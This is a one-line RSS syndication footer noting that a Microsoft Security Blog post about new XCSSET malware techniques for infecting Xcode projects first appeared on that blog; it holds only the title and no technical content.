The post New XCSSET malware adds new obfuscation, persistence techniques to infect Xcode projects appeared first on Microsoft Security Blog.